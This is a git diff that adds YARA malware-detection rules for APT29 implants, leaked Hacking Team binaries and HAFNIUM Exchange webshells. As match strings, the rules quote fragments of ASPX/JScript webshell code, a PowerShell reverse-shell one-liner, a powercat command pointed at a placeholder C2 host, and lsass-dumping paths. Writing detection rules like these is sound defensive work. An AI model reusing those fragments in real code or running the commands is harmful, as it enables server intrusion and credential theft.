+   meta:
+      description = "Onion Duke Implant by APT29"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+      id = "5460ff29-681b-5d11-a6ba-5f294e8577e6"
+   strings:
+      $STR1 = { 8B 03 8A 54 01 03 32 55 FF 41 88 54 39 FF 3B CE 72 EE }
+      $STR2 = { 8B C8 83 E1 03 8A 54 19 08 8B 4D 08 32 54 01 04 40 88 54 38 FF
+         3B C6 72 E7 }
+      $STR3 = { 8B 55 F8 8B C8 83 E1 03 8A 4C 11 08 8B 55 FC 32 0C 10 8B 17 88
+         4C 02 04 40 3B 06 72 E3 }
+   condition:
+      (uint16(0) == 0x5A4D or uint16(0)) and all of them
+}
+
+/* TOO MANY FALSE POSITIVES
+
+rule IMPLANT_10_v1 {
+   meta:
+      description = "CozyDuke / CozyCar / CozyBear Implant by APT29"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+   strings:
+      $STR1 = {33 ?? 83 F2 ?? 81 E2 FF 00 00 00}
+      $STR2 = {0F BE 14 01 33 D0 ?? F2 [1-4] 81 E2 FF 00 00 00 66 89 [6] 40 83
+         F8 ?? 72}
+   condition:
+      uint16(0) == 0x5A4D and ($STR1 or $STR2)
+}
+
+*/
+
+rule IMPLANT_10_v2 {
+   meta:
+      description = "CozyDuke / CozyCar / CozyBear Implant by APT29"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+      id = "9c6d4eb9-98a5-5c6d-ba3a-0ce7524c5d2a"
+   strings:
+      $xor = { 34 ?? 66 33 C1 48 FF C1 }
+      $nop = { 66 66 66 66 66 66 0f 1f 84 00 00 00 00 00}
+   condition:
+      uint16(0) == 0x5A4D and $xor and $nop
+}
+
+/* Deactivated - Slowing down scanning
+
+rule IMPLANT_11_v12 {
+   meta:
+      description = "Mini Duke Implant by APT29"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+   strings:
+      $STR1 = {63 74 00 00} // ct
+      $STR2 = {72 6F 74 65} // rote
+      $STR3 = {75 61 6C 50} // triV
+      $STR4 = {56 69 72 74} // Plau
+      $STR5 = { e8 00 00 00 00 }
+      $STR6 = { 64 FF 35 00 00 00 00 }
+      $STR7 = {D2 C0}
+      $STR8 = /\x63\x74\x00\x00.{3,20}\x72\x6F\x74\x65.{3,20}\x75\x61\x6C\x50.{3,20}\x56\x69\x72\x74/
+   condition:
+      (uint16(0) == 0x5A4D) and #STR5 > 4 and all of them
+}
+
+rule IMPLANT_12_v1 {
+   meta:
+      description = "Cosmic Duke Implant by APT29"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+   strings:
+      $FUNC = {A1 [3-5] 33 C5 89 [2-3] 56 57 83 [4-6] 64}
+   condition:
+      (uint16(0) == 0x5A4D) and $FUNC
+}
+
+*/
+
+rule Unidentified_Malware_Two {
+   meta:
+      description = "Unidentified Implant by APT29"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+      id = "848f2d1f-e352-51c1-ac5d-841bf309f2f2"
+   strings:
+      $my_string_one = "/zapoy/gate.php"
+      $my_string_two = { E3 40 FE 45 FD 0F B6 45 FD 0F B6 14 38 88 55 FF 00 55
+         FC 0F B6 45 FC 8A 14 38 88 55 FE 0F B6 45 FD 88 14 38 0F B6 45 FC 8A
+         55 FF 88 14 38 8A 55 FF 02 55 FE 8A 14 3A 8B 45 F8 30 14 30 }
+      $my_string_three = "S:\\Lidstone\\renewing\\HA\\disable\\In.pdb"
+      $my_string_four = { 8B CF 0F AF CE 8B C6 99 2B C2 8B 55 08 D1 F8 03 C8
+         8B 45 FC 03 C2 89 45 10 8A 00 2B CB 32 C1 85 DB 74 07 }
+      $my_string_five = "fuckyou1"
+      $my_string_six = "xtool.exe"
+   condition:
+      ($my_string_one and $my_string_two)
+      or ($my_string_three or $my_string_four)
+      or ($my_string_five and $my_string_six)
+}
diff --git a/yara-Neo23x0/apt_hackingteam_rules.yar b/yara-Neo23x0/apt_hackingteam_rules.yar
new file mode 100644
index 0000000..b1b37b5
--- /dev/null
+++ b/yara-Neo23x0/apt_hackingteam_rules.yar
@@ -0,0 +1,88 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-07-07
+	Identifier: HackingTeam
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule bin_ndisk {
+	meta:
+		description = "Hacking Team Disclosure Sample - file ndisk.sys"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www.virustotal.com/en/file/a03a6ed90b89945a992a8c69f716ec3c743fa1d958426f4c50378cca5bef0a01/analysis/1436184181/"
+		date = "2015-07-07"
+		score = 100
+		hash = "cf5089752ba51ae827971272a5b761a4ab0acd84"
+		id = "f442315e-67c2-55a5-954e-8e7e48aa1243"
+	strings:
+		$s1 = "\\Registry\\Machine\\System\\ControlSet00%d\\services\\ndisk.sys" fullword wide 
+		$s2 = "\\Registry\\Machine\\System\\ControlSet00%d\\Enum\\Root\\LEGACY_NDISK.SYS" fullword wide 
+		$s3 = "\\Driver\\DeepFrz" wide
+		$s4 = "Microsoft Kernel Disk Manager" fullword wide 
+		$s5 = "ndisk.sys" fullword wide
+		$s6 = "\\Device\\MSH4DEV1" wide
+		$s7 = "\\DosDevices\\MSH4DEV1" wide
+		$s8 = "built by: WinDDK" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 30KB and 6 of them
+}
+
+rule Hackingteam_Elevator_DLL {
+	meta:
+		description = "Hacking Team Disclosure Sample - file elevator.dll"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://t.co/EG0qtVcKLh"
+		date = "2015-07-07"
+		score = 70
+		hash = "b7ec5d36ca702cc9690ac7279fd4fea28d8bd060"
+		id = "d479c675-b200-56e3-8976-f70b45ea791e"
+	strings:
+		$s1 = "\\sysnative\\CI.dll" ascii 
+		$s2 = "setx TOR_CONTROL_PASSWORD" fullword ascii 
+		$s3 = "mitmproxy0" fullword ascii 
+		$s4 = "\\insert_cert.exe" ascii
+		$s5 = "elevator.dll" fullword ascii
+		$s6 = "CRTDLL.DLL" fullword ascii
+		$s7 = "fail adding cert" fullword ascii
+		$s8 = "DownloadingFile" fullword ascii 
+		$s9 = "fail adding cert: %s" fullword ascii
+		$s10 = "InternetOpenA fail" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and 6 of them
+}
+
+rule HackingTeam_Elevator_EXE {
+	meta:
+		description = "Hacking Team Disclosure Sample - file elevator.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Hacking Team Disclosure elevator.c"
+		date = "2015-07-07"
+		score = 70
+		hash1 = "40a10420b9d49f87527bc0396b19ec29e55e9109e80b52456891243791671c1c"
+		hash2 = "92aec56a859679917dffa44bd4ffeb5a8b2ee2894c689abbbcbe07842ec56b8d"
+		hash = "9261693b67b6e379ad0e57598602712b8508998c0cb012ca23139212ae0009a1"
+		id = "a68b68dd-372d-5572-a1e7-1b7e06e986d8"
+	strings:
+		$x1 = "CRTDLL.DLL" fullword ascii
+		$x2 = "\\sysnative\\CI.dll" ascii
+		$x3 = "\\SystemRoot\\system32\\CI.dll" ascii
+		$x4 = "C:\\\\Windows\\\\Sysnative\\\\ntoskrnl.exe" fullword ascii /* PEStudio Blacklist: strings */
+
+		$s1 = "[*] traversing processes" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "_getkprocess" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "[*] LoaderConfig %p" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "loader.obj" fullword ascii /* PEStudio Blacklist: strings */
+		$s5 = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3" ascii /* PEStudio Blacklist: strings */
+		$s6 = "[*] token restore" fullword ascii /* PEStudio Blacklist: strings */
+		$s7 = "elevator.obj" fullword ascii
+		$s8 = "_getexport" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 3000KB and all of ($x*) and 3 of ($s*)
+}
+
+
diff --git a/yara-Neo23x0/apt_hafnium.yar b/yara-Neo23x0/apt_hafnium.yar
new file mode 100644
index 0000000..f58ff26
--- /dev/null
+++ b/yara-Neo23x0/apt_hafnium.yar
@@ -0,0 +1,416 @@
+
+rule WEBSHELL_ASP_Embedded_Mar21_1 {
+   meta:
+      description = "Detects ASP webshells"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2021-03-05"
+      score = 85
+      id = "7cf7db9d-8f8a-51db-a0e6-84748e8f9e1f"
+   strings:
+      $s1 = "<script runat=\"server\">" nocase
+      $s2 = "new System.IO.StreamWriter(Request.Form["
+      $s3 = ".Write(Request.Form["
+   condition:
+      filesize < 100KB and all of them
+}
+
+rule APT_WEBSHELL_HAFNIUM_SecChecker_Mar21_1 {
+   meta:
+      description = "Detects HAFNIUM SecChecker webshell"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/markus_neis/status/1367794681237667840"
+      date = "2021-03-05"
+      hash1 = "b75f163ca9b9240bf4b37ad92bc7556b40a17e27c2b8ed5c8991385fe07d17d0"
+      id = "73db3d78-7ece-53be-9efb-d19801993d5e"
+   strings:
+      $x1 = "<%if(System.IO.File.Exists(\"c:\\\\program files (x86)\\\\fireeye\\\\xagt.exe" ascii
+      $x2 = "\\csfalconservice.exe\")){Response.Write( \"3\");}%></head>" ascii fullword
+   condition:
+      uint16(0) == 0x253c and
+      filesize < 1KB and
+      1 of them or 2 of them
+}
+
+rule APT_HAFNIUM_Forensic_Artefacts_Mar21_1 {
+   meta:
+      description = "Detects forensic artefacts found in HAFNIUM intrusions"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/"
+      date = "2021-03-02"
+      id = "872822b0-34d9-5ae4-a532-6a8786494fa9"
+   strings:
+      $s1 = "lsass.exe C:\\windows\\temp\\lsass" ascii wide fullword
+      $s2 = "c:\\ProgramData\\it.zip" ascii wide fullword
+      $s3 = "powercat.ps1'); powercat -c" ascii wide fullword
+   condition:
+      1 of them
+}
+
+rule APT_WEBSHELL_HAFNIUM_Chopper_WebShell: APT Hafnium WebShell {
+   meta:
+      description = "Detects Chopper WebShell Injection Variant (not only Hafnium related)"
+      author = "Markus Neis,Swisscom"
+      date = "2021-03-05"
+      reference = "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/"
+      id = "25dcf166-4aea-5680-b161-c5fc8d74b987"
+   strings:
+      $x1 = "runat=\"server\">" nocase
+
+      $s1 = "<script language=\"JScript\" runat=\"server\">function Page_Load(){eval(Request" nocase
+      $s2 = "protected void Page_Load(object sender, EventArgs e){System.IO.StreamWriter sw = new System.IO.StreamWriter(Request.Form[\"p\"] , false, Encoding.Default);sw.Write(Request.Form[\"f\"]);"
+      $s3 = "<script language=\"JScript\" runat=\"server\"> function Page_Load(){eval (Request[\"" nocase  
+   condition:
+      filesize < 10KB and $x1 and 1 of ($s*) 
+}
+
+rule APT_WEBSHELL_Tiny_WebShell : APT Hafnium WebShell {
+   meta:
+      description = "Detects WebShell Injection"
+      author = "Markus Neis,Swisscom"
+      hash = "099c8625c58b315b6c11f5baeb859f4c"
+      date = "2021-03-05"
+      reference = "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/"
+      id = "aa2fcecc-4c8b-570d-a81a-5dfb16c04e05"
+   strings:
+      $x1 = "<%@ Page Language=\"Jscript\" Debug=true%>"
+
+      $s1 = "=Request.Form(\""
+      $s2 = "eval("
+   condition:
+      filesize < 300 and all of ($s*) and $x1
+} 
+
+rule HKTL_PS1_PowerCat_Mar21 {
+   meta:
+      description = "Detects PowerCat hacktool"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/besimorhino/powercat"
+      date = "2021-03-02"
+      hash1 = "c55672b5d2963969abe045fe75db52069d0300691d4f1f5923afeadf5353b9d2"
+      id = "ae3963e8-2fe9-5bc3-bf72-95f136622832"
+   strings:
+      $x1 = "powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.com" ascii fullword
+      $x2 = "try{[byte[]]$ReturnedData = $Encoding.GetBytes((IEX $CommandToExecute 2>&1 | Out-String))}" ascii fullword
+
+      $s1 = "Returning Encoded Payload..." ascii
+      $s2 = "$CommandToExecute =" ascii fullword
+      $s3 = "[alias(\"Execute\")][string]$e=\"\"," ascii
+   condition:
+      uint16(0) == 0x7566 and
+      filesize < 200KB and
+      1 of ($x*) or 3 of them
+}
+
+rule HKTL_Nishang_PS1_Invoke_PowerShellTcpOneLine {
+   meta:
+      description = "Detects PowerShell Oneliner in Nishang's repository"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcpOneLine.ps1"
+      date = "2021-03-03"
+      hash1 = "2f4c948974da341412ab742e14d8cdd33c1efa22b90135fcfae891f08494ac32"
+      id = "0218ebbd-2dbe-5838-ab53-1e78e3f97b9e"
+   strings:
+      $s1 = "=([text.encoding]::ASCII).GetBytes((iex $" ascii wide
+      $s2 = ".GetStream();[byte[]]$" ascii wide
+      $s3 = "New-Object Net.Sockets.TCPClient('" ascii wide
+   condition:
+      all of them
+}
+
+rule WEBSHELL_ASPX_SimpleSeeSharp : Webshell Unclassified {
+   meta:
+      author = "threatintel@volexity.com"
+      date = "2021-03-01"
+      description = "A simple ASPX Webshell that allows an attacker to write further files to disk."
+      hash = "893cd3583b49cb706b3e55ecb2ed0757b977a21f5c72e041392d1256f31166e2"
+      reference = "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/"
+      id = "469fdf5c-e09e-5d44-a2e6-0864dcd0e18a"
+   strings:
+      $header = "<%@ Page Language=\"C#\" %>"
+      $body = "<% HttpPostedFile thisFile = Request.Files[0];thisFile.SaveAs(Path.Combine"
+   condition:
+      $header at 0 and
+      $body and
+      filesize < 1KB
+}
+
+rule WEBSHELL_ASPX_reGeorgTunnel : Webshell Commodity {
+   meta:
+      author = "threatintel@volexity.com"
+      date = "2021-03-01"
+      description = "variation on reGeorgtunnel"
+      hash = "406b680edc9a1bb0e2c7c451c56904857848b5f15570401450b73b232ff38928"
+      reference = "https://github.com/sensepost/reGeorg/blob/master/tunnel.aspx"
+      id = "b8aa27c9-a28a-5051-8f81-1184f28842ed"
+   strings:
+      $s1 = "System.Net.Sockets"
+      $s2 = "System.Text.Encoding.Default.GetString(Convert.FromBase64String(StrTr(Request.Headers.Get"
+      $t1 = ".Split('|')"
+      $t2 = "Request.Headers.Get"
+      $t3 = ".Substring("
+      $t4 = "new Socket("
+      $t5 = "IPAddress ip;"
+   condition:
+      all of ($s*) or
+      all of ($t*)
+}
+
+rule WEBSHELL_ASPX_SportsBall {
+   meta:
+      author = "threatintel@volexity.com"
+      date = "2021-03-01"
+      description = "The SPORTSBALL webshell allows attackers to upload files or execute commands on the system."
+      hash = "2fa06333188795110bba14a482020699a96f76fb1ceb80cbfa2df9d3008b5b0a"
+      reference = "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/"
+      id = "25b23a4c-8fc7-5d6f-b4b5-46fe2c1546d8"
+   strings:
+      $uniq1 = "HttpCookie newcook = new HttpCookie(\"fqrspt\", HttpContext.Current.Request.Form"
+      $uniq2 = "ZN2aDAB4rXsszEvCLrzgcvQ4oi5J1TuiRULlQbYwldE="
+
+      $var1 = "Result.InnerText = string.Empty;"
+      $var2 = "newcook.Expires = DateTime.Now.AddDays("
+      $var3 = "System.Diagnostics.Process process = new System.Diagnostics.Process();"
+      $var4 = "process.StandardInput.WriteLine(HttpContext.Current.Request.Form[\""
+      $var5 = "else if (!string.IsNullOrEmpty(HttpContext.Current.Request.Form[\""
+      $var6 = "<input type=\"submit\" value=\"Upload\" />"
+   condition:
+      any of ($uniq*) or
+      all of ($var*)
+}
+
+rule WEBSHELL_CVE_2021_27065_Webshells {
+   meta:
+      description = "Detects web shells dropped by CVE-2021-27065. All actors, not specific to HAFNIUM. TLP:WHITE"
+      author = "Joe Hannon, Microsoft Threat Intelligence Center (MSTIC)"
+      date = "2021-03-05"
+      reference = "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/"
+      id = "27677f35-24a3-59cc-a3ad-b83884128da7"
+   strings:
+      $script1 = "script language" ascii wide nocase
+      $script2 = "page language" ascii wide nocase
+      $script3 = "runat=\"server\"" ascii wide nocase
+      $script4 = "/script" ascii wide nocase
+      $externalurl = "externalurl" ascii wide nocase
+      $internalurl = "internalurl" ascii wide nocase
+      $internalauthenticationmethods = "internalauthenticationmethods" ascii wide nocase
+      $extendedprotectiontokenchecking = "extendedprotectiontokenchecking" ascii wide nocase
+   condition:
+      filesize < 50KB and any of ($script*) and ($externalurl or $internalurl) and $internalauthenticationmethods and $extendedprotectiontokenchecking
+}
+
+rule APT_MAL_ASPX_HAFNIUM_Chopper_Mar21_3 {
+   meta:
+      description = "Detects HAFNIUM ASPX files dropped on compromised servers"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/"
+      date = "2021-03-07"
+      score = 85
+      id = "9c2ba123-63c4-5e9c-a08f-bd9db3304691"
+   strings:
+      $s1 = "runat=\"server\">void Page_Load(object" ascii wide 
+      $s2 = "Request.Files[0].SaveAs(Server.MapPath(" ascii wide
+   condition:
+      filesize < 50KB and
+      all of them
+}
+
+rule APT_MAL_ASPX_HAFNIUM_Chopper_Mar21_4 {
+   meta:
+      description = "Detects HAFNIUM ASPX files dropped on compromised servers"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/"
+      date = "2021-03-07"
+      score = 85
+      id = "93f5b682-642d-5edf-84a9-296bf12cd72b"
+   strings:
+      $s1 = "<%@Page Language=\"Jscript\"%>" ascii wide nocase
+      $s2 = ".FromBase64String(" ascii wide nocase
+      $s3 = "eval(System.Text.Encoding." ascii wide nocase
+   condition:
+      filesize < 850 and
+      all of them
+}
+
+rule APT_HAFNIUM_ForensicArtefacts_WER_Mar21_1 {
+   meta:
+      description = "Detects a Windows Error Report (WER) that indicates and exploitation attempt of the Exchange server as described in CVE-2021-26857 after the corresponding patches have been applied. WER files won't be written upon successful exploitation before applying the patch. Therefore, this indicates an unsuccessful attempt."
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/cyb3rops/status/1368471533048446976"
+      date = "2021-03-07"
+      score = 40
+      id = "06771101-10ce-5d6b-99f7-a321aade7f69"
+   strings:
+      $s1 = "AppPath=c:\\windows\\system32\\inetsrv\\w3wp.exe" wide fullword
+      $s7 = ".Value=w3wp#MSExchangeECPAppPool" wide
+   condition:
+      uint16(0) == 0xfeff and
+      filesize < 8KB and
+      all of them
+}
+
+rule APT_HAFNIUM_ForensicArtefacts_Cab_Recon_Mar21_1 {
+   meta:
+      description = "Detects suspicious CAB files used by HAFNIUM for recon activity"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://discuss.elastic.co/t/detection-and-response-for-hafnium-activity/266289/3?u=dstepanic"
+      date = "2021-03-11"
+      score = 70
+      id = "b0caf9d9-af0a-5181-85e4-6091cd6699e3"
+   strings:
+      $s1 = "ip.txt" ascii fullword
+      $s2 = "arp.txt" ascii fullword
+      $s3 = "system" ascii fullword 
+      $s4 = "security" ascii fullword
+   condition:
+      uint32(0) == 0x4643534d and
+      filesize < 10000KB and (
+         $s1 in (0..200) and 
+         $s2 in (0..200) and
+         $s3 in (0..200) and
+         $s4 in (0..200)
+      )
+}
+
+rule WEBSHELL_Compiled_Webshell_Mar2021_1 {
+   meta:
+      description = "Triggers on temporary pe files containing strings commonly used in webshells."
+      author = "Bundesamt fuer Sicherheit in der Informationstechnik"
+      date = "2021-03-05"
+      modified = "2021-03-12"
+      reference = "https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Cyber-Sicherheit/Vorfaelle/Exchange-Schwachstellen-2021/MSExchange_Schwachstelle_Detektion_Reaktion.pdf"
+      id = "9336bd2c-791c-5c3e-9733-724a6a23864a"
+   strings:
+      $x1 = /App_Web_[a-zA-Z0-9]{7,8}.dll/ ascii wide fullword
+      $a1 = "~/aspnet_client/" ascii wide nocase
+      $a2 = "~/auth/" ascii wide nocase
+      $b1 = "JScriptEvaluate" ascii wide fullword
+      $c1 = "get_Request" ascii wide fullword
+      $c2 = "get_Files" ascii wide fullword
+      $c3 = "get_Count" ascii wide fullword
+      $c4 = "get_Item" ascii wide fullword
+      $c5 = "get_Server" ascii wide fullword
+   condition:
+      uint16(0) == 0x5a4d and filesize > 5KB and filesize < 40KB and all of ($x*) and 1 of ($a*) and ( all of ($b*) or all of ($c*) )
+}
+
+rule APT_MAL_ASP_DLL_HAFNIUM_Mar21_1 {
+   meta:
+      description = "Detects HAFNIUM compiled ASP.NET DLLs dropped on compromised servers"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/"
+      date = "2021-03-05"
+      score = 65
+      hash1 = "097f5f700c000a13b91855beb61a931d34fb0abb738a110368f525e25c5bc738"
+      hash2 = "15744e767cbaa9b37ff7bb5c036dda9b653fc54fc9a96fe73fbd639150b3daa3"
+      hash3 = "52ae4de2e3f0ef7fe27c699cb60d41129a3acd4a62be60accc85d88c296e1ddb"
+      hash4 = "5f0480035ee23a12302c88be10e54bf3adbcf271a4bb1106d4975a28234d3af8"
+      hash5 = "6243fd2826c528ee329599153355fd00153dee611ca33ec17effcf00205a6e4e"
+      hash6 = "ebf6799bb86f0da2b05e66a0fe5a9b42df6dac848f4b951b2ed7b7a4866f19ef"
+      id = "68b8252e-a07d-5507-b556-a4d473f98157"
+   strings:
+      $s1 = "Page_Load" ascii fullword
+      
+      $sc1 = { 20 00 3A 00 20 00 68 00 74 00 74 00 70 00 3A 00
+               2F 00 2F 00 (66|67) 00 2F 00 00 89 A3 0D 00 0A 00 }
+
+      $op1 = { 00 43 00 58 00 77 00 30 00 4a 00 45 00 00 51 7e 00 2f }
+      $op2 = { 58 00 77 00 30 00 4a 00 45 00 00 51 7e 00 2f 00 61 00 }
+      $op3 = { 01 0e 0e 05 20 01 01 11 79 04 07 01 12 2d 04 07 01 12 31 02 }
+      $op4 = { 5e 00 03 00 bc 22 00 00 00 00 01 00 85 03 2b 00 03 00 cc }
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 50KB and
+      all of ($s*) or all of ($op*)
+}
+
+
+rule WEBSHELL_HAFNIUM_CISA_10328929_01 : trojan webshell exploit CVE_2021_27065 {
+   meta:
+       author = "CISA Code & Media Analysis"
+       date = "2021-03-17"
+       description = "Detects CVE-2021-27065 Webshellz"
+       hash = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"
+       reference = "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-084a"
+       id = "81916396-8aaa-5045-b31c-4bcce8d295a5"
+   strings:
+       $s0 = { 65 76 61 6C 28 52 65 71 75 65 73 74 5B 22 [1-32] 5D 2C 22 75 6E 73 61 66 65 22 29 }
+       $s1 = { 65 76 61 6C 28 }
+       $s2 = { 28 52 65 71 75 65 73 74 2E 49 74 65 6D 5B [1-36] 5D 29 29 2C 22 75 6E 73 61 66 65 22 29 }
+       $s3 = { 49 4F 2E 53 74 72 65 61 6D 57 72 69 74 65 72 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
+       $s4 = { 57 72 69 74 65 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
+   condition:
+       $s0 or ($s1 and $s2) or ($s3 and $s4)
+}
+
+rule WEBSHELL_HAFNIUM_CISA_10328929_02 : trojan webshell exploit CVE_2021_27065 {
+   meta:
+       author = "CISA Code & Media Analysis"
+       date = "2021-03-17"
+       description = "Detects CVE-2021-27065 Exchange OAB VD MOD"
+       hash = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"
+       reference = "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-084a"
+       id = "34a89a6e-fa8a-5c64-a325-30202e20b30f"
+   strings:
+       $s0 = { 4F 66 66 6C 69 6E 65 41 64 64 72 65 73 73 42 6F 6F 6B 73 }
+       $s1 = { 3A 20 68 74 74 70 3A 2F 2F [1] 2F }
+       $s2 = { 45 78 74 65 72 6E 61 6C 55 72 6C 20 20 20 20 }
+   condition:
+       $s0 and $s1 and $s2
+}
+
+
+rule WEBSHELL_ASPX_FileExplorer_Mar21_1 {
+   meta:
+      description = "Detects Chopper like ASPX Webshells"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2021-03-31"
+      score = 80
+      hash1 = "a8c63c418609c1c291b3e731ca85ded4b3e0fba83f3489c21a3199173b176a75"
+      id = "edcaa2a8-6fea-584e-90c2-307a2dfc9f7f"
+   strings:
+      $x1 = "<span style=\"background-color: #778899; color: #fff; padding: 5px; cursor: pointer\" onclick=" ascii
+      $xc1 = { 3C 61 73 70 3A 48 69 64 64 65 6E 46 69 65 6C 64
+               20 72 75 6E 61 74 3D 22 73 65 72 76 65 72 22 20
+               49 44 3D 22 ?? ?? ?? ?? ?? 22 20 2F 3E 3C 62 72
+               20 2F 3E 3C 62 72 20 2F 3E 20 50 72 6F 63 65 73
+               73 20 4E 61 6D 65 3A 3C 61 73 70 3A 54 65 78 74
+               42 6F 78 20 49 44 3D } 
+      $xc2 = { 22 3E 43 6F 6D 6D 61 6E 64 3C 2F 6C 61 62 65 6C
+               3E 3C 69 6E 70 75 74 20 69 64 3D 22 ?? ?? ?? ??
+               ?? 22 20 74 79 70 65 3D 22 72 61 64 69 6F 22 20
+               6E 61 6D 65 3D 22 74 61 62 73 22 3E 3C 6C 61 62
+               65 6C 20 66 6F 72 3D 22 ?? ?? ?? ?? ?? 22 3E 46
+               69 6C 65 20 45 78 70 6C 6F 72 65 72 3C 2F 6C 61
+               62 65 6C 3E 3C 25 2D 2D }
+
+      $r1 = "(Request.Form[" ascii
+      $s1 = ".Text + \" Created!\";" ascii
+      $s2 = "DriveInfo.GetDrives()" ascii
+      $s3 = "Encoding.UTF8.GetString(FromBase64String(str.Replace(" ascii
+      $s4 = "encodeURIComponent(btoa(String.fromCharCode.apply(null, new Uint8Array(bytes))));;"
+   condition:
+      uint16(0) == 0x253c and
+      filesize < 100KB and
+      ( 1 of ($x*) or 2 of them ) or 4 of them
+}
+
+rule WEBSHELL_ASPX_Chopper_Like_Mar21_1 {
+   meta:
+      description = "Detects Chopper like ASPX Webshells"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2021-03-31"
+      score = 85
+      hash1 = "ac44513e5ef93d8cbc17219350682c2246af6d5eb85c1b4302141d94c3b06c90"
+      id = "a4dc1880-865f-5e20-89a2-3a642c453ef9"
+   strings:
+      $s1 = "http://f/<script language=\"JScript\" runat=\"server\">var _0x" ascii
+      $s2 = "));function Page_Load(){var _0x" ascii
+      $s3 = ";eval(Request[_0x" ascii
+      $s4 = "','orange','unsafe','" ascii
+   condition:
+      filesize < 3KB and
+      1 of them or 2 of them
+}
diff --git a/yara-Neo23x0/apt_hafnium_log_sigs.yar b/yara-Neo23x0/apt_hafnium_log_sigs.yar
new file mode 100644
index 0000000..d5a1085
--- /dev/null
+++ b/yara-Neo23x0/apt_hafnium_log_sigs.yar
@@ -0,0 +1,104 @@
+
+rule EXPL_LOG_CVE_2021_27065_Exchange_Forensic_Artefacts_Mar21_1 : LOG {
+   meta:
+      description = "Detects forensic artefacts found in HAFNIUM intrusions exploiting CVE-2021-27065"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/"
+      date = "2021-03-02"
+      id = "dcc1f741-cab0-5a0b-a261-a6bd05989723"
+   strings:
+      $s1 = "S:CMD=Set-OabVirtualDirectory.ExternalUrl='" ascii wide fullword
+   condition:
+      1 of them
+}
+
+rule EXPL_LOG_CVE_2021_26858_Exchange_Forensic_Artefacts_Mar21_1 : LOG {
+   meta:
+      description = "Detects forensic artefacts found in HAFNIUM intrusions exploiting CVE-2021-26858"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/"
+      date = "2021-03-02"
+      score = 65
